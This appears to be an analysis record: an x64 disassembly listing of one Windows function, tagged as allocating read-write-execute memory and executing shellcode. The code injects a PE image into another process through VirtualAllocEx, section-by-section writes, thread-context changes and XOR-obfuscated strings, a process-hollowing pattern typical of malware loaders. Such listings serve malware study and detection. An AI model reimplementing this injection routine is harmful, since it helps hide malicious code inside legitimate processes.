Function at 0x1400b1f70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xf8
lea rbp, [rsp + 0x130]
xorps xmm4, xmm4
movaps xmmword [rbp - 0x90], xmm4
movaps xmmword [rbp - 0x80], xmm4
movaps xmmword [rbp - 0x70], xmm4
movaps xmmword [rbp - 0x60], xmm4
movaps xmmword [rbp - 0x50], xmm4
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rsi, rdx
xor edx, edx
mov dword [rbp - 0x3c], edx
xor edx, edx
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rdx
mov ecx, 0x60
mov edx, 1
call fcn.1400b1cb0
mov rdi, rax
xor ecx, ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rdi
lea rcx, [rbp - 0x58]
mov qword [rsp + 0x48], rcx
mov rcx, qword [rbp + 0x10]
lea rdx, [0x14036d008]
xor r8d, r8d
xor r9d, r9d
call fcn.1400b1ba0
test eax, eax
je 0x1400b2873
mov rcx, rdi
call fcn.1400b1d20
mov rcx, rsi
mov edx, 0x3c
call fcn.1400c7fa0
mov edi, eax
lea edx, [rdi + 0x34]
mov rcx, rsi
call fcn.1400c7fa0
mov ebx, eax
lea rcx, [0x1402f51f8]
mov edx, 0xb3
call fcn.140004350
mov r14, rax
mov qword [rbp - 0x98], r14
mov dword [r14 + 0x10], 0x10002
mov rcx, qword [rbp - 0x50]
mov rdx, r14
call fcn.1400b1e10
test eax, eax
je 0x1400b27bf
mov r15d, dword [r14 + 0xb4]
test ebx, ebx
je 0x1400b270b
lea edx, [rdi + 0x50]
mov rcx, rsi
call fcn.1400c7fa0
mov r12d, eax
lea edx, [rdi + 0x54]
mov rcx, rsi
call fcn.1400c7fa0
mov r13d, eax
mov dword [rsp + 0x20], 0x40
mov rcx, qword [rbp - 0x58]
mov qword [rbp - 0xb4], rcx
mov edx, ebx
mov dword [rbp - 0xa4], edx
mov r8d, r12d
mov dword [rbp - 0xa8], r8d
mov r9d, 0x3000
mov dword [rbp - 0xac], r9d
lea rcx, [rbp - 0xe0]
call fcn.1400046a0
mov rcx, qword [rbp - 0xb4]
mov edx, dword [rbp - 0xa4]
mov r8d, dword [rbp - 0xa8]
mov r9d, dword [rbp - 0xac]
call sub.KERNEL32.dll_VirtualAllocEx
mov esi, eax
lea rcx, [rbp - 0xe0]
call fcn.1400046f0
test esi, esi
je 0x1400b2657
lea rdx, [rbp - 0x68]
mov qword [rsp + 0x20], rdx
movsxd rdx, esi
mov rcx, qword [rbp - 0x58]
mov r8, qword [rbp + 0x18]
mov r9d, r13d
call fcn.1400b1960
test eax, eax
jne 0x1400b25a3
lea ebx, [rdi + 0xf8]
lea edx, [rdi + 6]
mov rcx, qword [rbp + 0x18]
call fcn.1400c7f50
mov r14d, eax
xor r12d, r12d
test r14d, r14d
jle 0x1400b21f7
lea edx, [rbx + 0xc]
mov rcx, qword [rbp + 0x18]
call fcn.1400c7fa0
mov r13d, eax
lea edx, [rbx + 0x10]
mov rcx, qword [rbp + 0x18]
call fcn.1400c7fa0
mov dword [rbp - 0x6c], eax
lea edx, [rbx + 0x14]
mov rcx, qword [rbp + 0x18]
call fcn.1400c7fa0
mov dword [rbp - 0x70], eax
mov edx, dword [rbp - 0x6c]
test edx, edx
je 0x1400b21e8
movsxd rdx, edx
lea rcx, [0x1402f4f18]
call fcn.140004350
mov qword [rbp - 0xa0], rax
mov ecx, dword [rax + 8]
mov dword [rsp + 0x20], ecx
mov rcx, qword [rbp + 0x18]
mov edx, dword [rbp - 0x70]
mov r8, rax
xor r9d, r9d
call fcn.1400b5aa0
lea rdx, [rbp - 0x68]
mov qword [rsp + 0x20], rdx
add r13d, esi
movsxd rdx, r13d
mov r13, qword [rbp - 0xa0]
mov r9d, dword [r13 + 8]
mov rcx, qword [rbp - 0x58]
mov r8, r13
call fcn.1400b1960
test eax, eax
jne 0x1400b292a
add ebx, 0x28
inc r12d
cmp r12d, r14d
jl 0x1400b2157
lea rcx, [0x1402f4f18]
mov edx, 4
call fcn.140004350
mov r8, rax
mov dword [r8 + 0x10], esi
lea rdx, [rbp - 0x68]
mov qword [rsp + 0x20], rdx
add r15d, 8
movsxd rdx, r15d
mov rcx, qword [rbp - 0x58]
mov r9d, 4
call fcn.1400b1960
test eax, eax
jne 0x1400b24ef
lea edx, [rdi + 0x28]
mov rcx, qword [rbp + 0x18]
call fcn.1400c7fa0
mov edi, eax
lea rcx, [0x1402f4fb0]
mov edx, 6
call fcn.140004350
xor ecx, ecx
mov edx, ecx
lea r8, [0x140382c60]
movzx r8d, word [r8 + rdx*2 + 0xc]
mov r9d, ecx
sar r9d, 0x1f
and r9d, 7
add r9d, ecx
and r9d, 0xfffffff8
mov r10d, ecx
sub r10d, r9d
cmp r10d, 8
jae 0x1400b23ed
mov r9d, r10d
lea r10, [0x140386548]
movzx r9d, word [r10 + r9*2 + 0xc]
xor r8d, r9d
mov word [rax + rdx*2 + 0x10], r8w
inc ecx
cmp ecx, 6
jl 0x1400b2257
mov rcx, rax
call fcn.1400bc8e0
test rax, rax
je 0x1400b24c3
lea rbx, [rax + 0xc]
mov r14d, dword [rax + 8]
call fcn.14010cb20
mov r8, rax
mov qword [rbp - 0x90], rbx
mov dword [rbp - 0x88], r14d
lea rcx, [rbp - 0x90]
lea r9, [rbp - 0x78]
mov edx, 7
call fcn.1400e5b10
mov ecx, eax
test ecx, ecx
jne 0x1400b24ce
mov ebx, dword [rbp - 0x78]
lea rcx, [0x1402f4fb0]
mov edx, 6
call fcn.140004350
xor ecx, ecx
mov edx, ecx
lea r8, [0x140385e58]
movzx r8d, word [r8 + rdx*2 + 0xc]
mov r9d, ecx
sar r9d, 0x1f
and r9d, 7
add r9d, ecx
and r9d, 0xfffffff8
mov r10d, ecx
sub r10d, r9d
cmp r10d, 8
jae 0x1400b23ed
mov r9d, r10d
lea r10, [0x14037f2b8]
movzx r9d, word [r10 + r9*2 + 0xc]
xor r8d, r9d
mov word [rax + rdx*2 + 0x10], r8w
inc ecx
cmp ecx, 6
jl 0x1400b230c
mov rcx, rax
call fcn.1400bc8e0
test rax, rax
je 0x1400b24c3
lea r15, [rax + 0xc]
mov r12d, dword [rax + 8]
call fcn.14010cb20
mov r8, rax
mov qword [rbp - 0x90], r15
mov dword [rbp - 0x88], r12d
lea rcx, [rbp - 0x90]
lea r9, [rbp - 0x80]
mov edx, 7
call fcn.1400e5b10
mov ecx, eax
test ecx, ecx
jne 0x1400b24a2
xor ebx, dword [rbp - 0x80]
cmp ebx, 0xb3
jae 0x1400b23ed
mov ecx, ebx
add esi, edi
mov r14, qword [rbp - 0x98]
mov dword [r14 + rcx*4 + 0x10], esi
mov rcx, qword [rbp - 0x50]
mov rdx, r14
call fcn.1400b1d80
test eax, eax
je 0x1400b23f2
xor edx, edx
mov dword [rbp - 0x60], edx
lea rdx, [rbp - 0x60]
mov rcx, qword [rbp - 0x50]
call fcn.1400b1a30
jmp 0x1400b29f5
call fcn.140171270
lea rcx, [0x1402f4fb0]
mov edx, 0x1c
call fcn.140004350
xor ecx, ecx
mov edx, ecx
lea r8, [0x140383980]
movzx edx, word [r8 + rdx*2 + 0xc]
mov r8d, ecx
sar r8d, 0x1f
and r8d, 7
add r8d, ecx
and r8d, 0xfffffff8
mov r9d, ecx
sub r9d, r8d
cmp r9d, 8
jae 0x1400b23ed
mov r8d, ecx
sar r8d, 0x1f
and r8d, 7
add r8d, ecx
and r8d, 0xfffffff8
mov r9d, ecx
sub r9d, r8d
mov r8d, r9d
lea r9, [0x14036eaa0]
movzx r8d, word [r9 + r8*2 + 0xc]
xor edx, r8d
mov r8d, ecx
mov word [rax + r8*2 + 0x10], dx
inc ecx
cmp ecx, 0x1c
jl 0x1400b2405
mov rcx, rax
call fcn.1400bc8e0
mov rdi, rax
lea rcx, [0x1402a3318]
call fcn.140004230
mov rbx, rax
mov dword [rbx + 0x48], 0x80131500
lea rcx, [rbx + 8]
mov rdx, rdi
call fcn.140004540
mov rcx, rbx
call fcn.140005640
mov qword [rbp - 0x90], r15
mov dword [rbp - 0x88], r12d
lea rdx, [rbp - 0x90]
mov r8d, 9
call fcn.1400e7ee0
int3
mov ecx, 0x11
call fcn.1400ec8f0
int3
mov qword [rbp - 0x90], rbx
mov dword [rbp - 0x88], r14d
lea rdx, [rbp - 0x90]
mov r8d, 9
call fcn.1400e7ee0
int3
lea rcx, [0x1402f4fb0]
mov edx, 0x2e
call fcn.140004350
xor ecx, ecx
mov edx, ecx
lea r8, [0x1403866e0]
movzx edx, word [r8 + rdx*2 + 0xc]
mov r8d, ecx
sar r8d, 0x1f
and r8d, 7
add r8d, ecx
and r8d, 0xfffffff8
mov r9d, ecx
sub r9d, r8d
cmp r9d, 8
jae 0x1400b23ed
mov r8d, ecx
sar r8d, 0x1f
and r8d, 7
add r8d, ecx
and r8d, 0xfffffff8
mov r9d, ecx
sub r9d, r8d
mov r8d, r9d
lea r9, [0x14036f850]
movzx r8d, word [r9 + r8*2 + 0xc]
xor edx, r8d
mov r8d, ecx
mov word [rax + r8*2 + 0x10], dx
inc ecx
cmp ecx, 0x2e
jl 0x1400b2502
mov rcx, rax
call fcn.1400bc8e0
mov rdi, rax
lea rcx, [0x1402a3318]
call fcn.140004230
mov rbx, rax
mov dword [rbx + 0x48], 0x80131500
lea rcx, [rbx + 8]
mov rdx, rdi
call fcn.140004540
mov rcx, rbx
call fcn.140005640
lea rcx, [0x1402f4fb0]
mov edx, 0x30
call fcn.140004350
xor ecx, ecx
mov edx, ecx
lea r8, [0x140385270]
movzx edx, word [r8 + rdx*2 + 0xc]
mov r8d, ecx
sar r8d, 0x1f
and r8d, 7
add r8d, ecx
and r8d, 0xfffffff8
mov r9d, ecx
sub r9d, r8d
cmp r9d, 8
jae 0x1400b23ed
mov r8d, ecx
sar r8d, 0x1f
and r8d, 7
add r8d, ecx
and r8d, 0xfffffff8
mov r9d, ecx
sub r9d, r8d
mov r8d, r9d
lea r9, [0x14036ef70]
movzx r8d, word [r9 + r8*2 + 0xc]
xor edx, r8d
mov r8d, ecx
mov word [rax + r8*2 + 0x10], dx
inc ecx
cmp ecx, 0x30
jl 0x1400b25b6
mov rcx, rax
call fcn.1400bc8e0
mov rdi, rax
lea rcx, [0x1402a3318]
call fcn.140004230
mov rbx, rax
mov dword [rbx + 0x48], 0x80131500
lea rcx, [rbx + 8]
mov rdx, rdi
call fcn.140004540
mov rcx, rbx
call fcn.140005640
lea rcx, [0x1402f4fb0]
mov edx, 0x16
call fcn.140004350
xor ecx, ecx
mov edx, ecx
lea r8, [0x14036f9c0]
movzx edx, word [r8 + rdx*2 + 0xc]
mov r8d, ecx
sar r8d, 0x1f
and r8d, 7
add r8d, ecx
and r8d, 0xfffffff8
mov r9d, ecx
sub r9d, r8d
cmp r9d, 8
jae 0x1400b23ed
mov r8d, ecx
sar r8d, 0x1f
and r8d, 7
add r8d, ecx
and r8d, 0xfffffff8
mov r9d, ecx
sub r9d, r8d
mov r8d, r9d
lea r9, [0x140386d28]
movzx r8d, word [r9 + r8*2 + 0xc]
xor edx, r8d
mov r8d, ecx
mov word [rax + r8*2 + 0x10], dx
inc ecx
cmp ecx, 0x16
jl 0x1400b266a
mov rcx, rax
call fcn.1400bc8e0
mov rdi, rax
lea rcx, [0x1402a3318]
call fcn.140004230
mov rbx, rax
mov dword [rbx + 0x48], 0x80131500
lea rcx, [rbx + 8]
mov rdx, rdi
call fcn.140004540
mov rcx, rbx
call fcn.140005640
lea rcx, [0x1402f4fb0]
mov edx, 0x12
call fcn.140004350
xor ecx, ecx
mov edx, ecx
lea r8, [0x14036eb60]
movzx edx, word [r8 + rdx*2 + 0xc]
mov r8d, ecx
sar r8d, 0x1f
and r8d, 7
add r8d, ecx
and r8d, 0xfffffff8
mov r9d, ecx
sub r9d, r8d
cmp r9d, 8
jae 0x1400b23ed
mov r8d, ecx
sar r8d, 0x1f
and r8d, 7
add r8d, ecx
and r8d, 0xfffffff8
mov r9d, ecx
sub r9d, r8d
mov r8d, r9d
lea r9, [0x1403858f0]
movzx r8d, word [r9 + r8*2 + 0xc]
xor edx, r8d
mov r8d, ecx
mov word [rax + r8*2 + 0x10], dx
inc ecx
cmp ecx, 0x12
jl 0x1400b271e
mov rcx, rax
call fcn.1400bc8e0
mov rdi, rax
lea rcx, [0x1402a3318]
call fcn.140004230
mov rbx, rax
mov dword [rbx + 0x48], 0x80131500
lea rcx, [rbx + 8]
mov rdx, rdi
call fcn.140004540
mov rcx, rbx
call fcn.140005640
lea rcx, [0x1402f4fb0]
mov edx, 0x1c
call fcn.140004350
xor ecx, ecx
mov edx, ecx
lea r8, [0x14036d060]
movzx edx, word [r8 + rdx*2 + 0xc]
mov r8d, ecx
sar r8d, 0x1f
and r8d, 7
add r8d, ecx
and r8d, 0xfffffff8
mov r9d, ecx
sub r9d, r8d
cmp r9d, 8
jae 0x1400b23ed
mov r8d, ecx
sar r8d, 0x1f
and r8d, 7
add r8d, ecx
and r8d, 0xfffffff8
mov r9d, ecx
sub r9d, r8d
mov r8d, r9d
lea r9, [0x140376398]
movzx r8d, word [r9 + r8*2 + 0xc]
xor edx, r8d
mov r8d, ecx
mov word [rax + r8*2 + 0x10], dx
inc ecx
cmp ecx, 0x1c
jl 0x1400b27d2
mov rcx, rax
call fcn.1400bc8e0
mov rdi, rax
lea rcx, [0x1402a3318]
call fcn.140004230
mov rbx, rax
mov dword [rbx + 0x48], 0x80131500
lea rcx, [rbx + 8]
mov rdx, rdi
call fcn.140004540
mov rcx, rbx
call fcn.140005640
lea rcx, [0x1402f4fb0]
mov edx, 0x18
call fcn.140004350
xor ecx, ecx
mov edx, ecx
lea r8, [0x14036fe28]
movzx edx, word [r8 + rdx*2 + 0xc]
mov r8d, ecx
sar r8d, 0x1f
and r8d, 7
add r8d, ecx
and r8d, 0xfffffff8
mov r9d, ecx
sub r9d, r8d
cmp r9d, 8
jae 0x1400b23ed
mov r8d, ecx
sar r8d, 0x1f
and r8d, 7
add r8d, ecx
and r8d, 0xfffffff8
mov r9d, ecx
sub r9d, r8d
mov r8d, r9d
lea r9, [0x1403870d8]
movzx r8d, word [r9 + r8*2 + 0xc]
xor edx, r8d
mov r8d, ecx
mov word [rax + r8*2 + 0x10], dx
inc ecx
cmp ecx, 0x18
jl 0x1400b2886
mov rcx, rax
call fcn.1400bc8e0
mov r15, rax
lea rcx, [0x1402a3318]
call fcn.140004230
mov r12, rax
mov dword [r12 + 0x48], 0x80131500
lea rcx, [r12 + 8]
mov rdx, r15
call fcn.140004540
mov rcx, r12
call fcn.140005640
lea rcx, [0x1402f4fb0]
mov edx, 0x2e
call fcn.140004350
xor ecx, ecx
mov edx, ecx
lea r8, [0x140383380]
movzx edx, word [r8 + rdx*2 + 0xc]
mov r8d, ecx
sar r8d, 0x1f
and r8d, 7
add r8d, ecx
and r8d, 0xfffffff8
mov r9d, ecx
sub r9d, r8d
cmp r9d, 8
jae 0x1400b23ed
mov r8d, ecx
sar r8d, 0x1f
and r8d, 7
add r8d, ecx
and r8d, 0xfffffff8
mov r9d, ecx
sub r9d, r8d
mov r8d, r9d
lea r9, [0x14036ec50]
movzx r8d, word [r9 + r8*2 + 0xc]
xor edx, r8d
mov r8d, ecx
mov word [rax + r8*2 + 0x10], dx
inc ecx
cmp ecx, 0x2e
jl 0x1400b293d
mov rcx, rax
call fcn.1400bc8e0
mov rdi, rax
lea rcx, [0x1402a3318]
call fcn.140004230
mov rbx, rax
mov dword [rbx + 0x48], 0x80131500
lea rcx, [rbx + 8]
mov rdx, rdi
call fcn.140004540
mov rcx, rbx
call fcn.140005640
int3
add rsp, 0xf8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret